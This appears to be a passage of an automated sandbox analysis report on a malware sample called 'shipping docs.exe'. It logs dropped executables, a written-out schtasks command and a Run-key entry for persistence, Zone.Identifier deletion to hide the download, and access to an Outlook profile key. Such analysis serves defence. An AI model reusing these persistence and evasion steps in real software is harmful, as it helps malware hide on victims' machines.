Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4404:120:WilError_01
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Mutant created: \Sessions\1\BaseNamedObjects\FlPBfsykXUODZXqmIBIomiteD
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5220:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4536:120:WilError_01

Source: 3.0.shipping docs.exe.400000.0.unpack, A/f2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 3.0.shipping docs.exe.400000.0.unpack, A/f2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Users\user\Desktop\shipping docs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\shipping docs.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\shipping docs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: shipping docs.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: shipping docs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_02DF0007 push ecx; retf	3_2_02DF0042
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_02DF0430 push ecx; retf	3_2_02DF0446
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F3692 push es; iretd	3_2_061F3B3C
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F3701 push es; iretd	3_2_061F3B3C
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061FE767 push es; ret	3_2_061FE868
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F3448 push es; iretd	3_2_061F3B3C
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F34CF push es; iretd	3_2_061F3B3C
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F7CF0 push es; ret	3_2_061F7D00
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F353F push es; iretd	3_2_061F3B3C
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F35AD push es; iretd	3_2_061F3B3C
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F1910 push es; ret	3_2_061F1920
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066FA8B8 push cs; retn 066Fh	3_2_066FC819
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066F9FF8 pushfd ; retf 065Fh	3_2_066FA08D
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066FC8DE push es; retf	3_2_066FC928
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_06849AE1 push es; ret	3_2_06849AF0
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_06844387 push edi; retn 0000h	3_2_06844389

Source: initial sample	Static PE information: section name: .text entropy: 7.898839095668671
Source: initial sample	Static PE information: section name: .text entropy: 7.898839095668671
Source: initial sample	Static PE information: section name: .text entropy: 7.898839095668671

Source: C:\Users\user\Desktop\shipping docs.exe	File created: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe			Jump to dropped file
Source: C:\Users\user\Desktop\shipping docs.exe	File created: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\shipping docs.exe

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp

Source: C:\Users\user\Desktop\shipping docs.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run VMqTMMD			Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run VMqTMMD			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\shipping docs.exe	File opened: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	File opened: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe:Zone.Identifier read attributes \| delete

Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process information set: NOOPENFILEERRORBOX
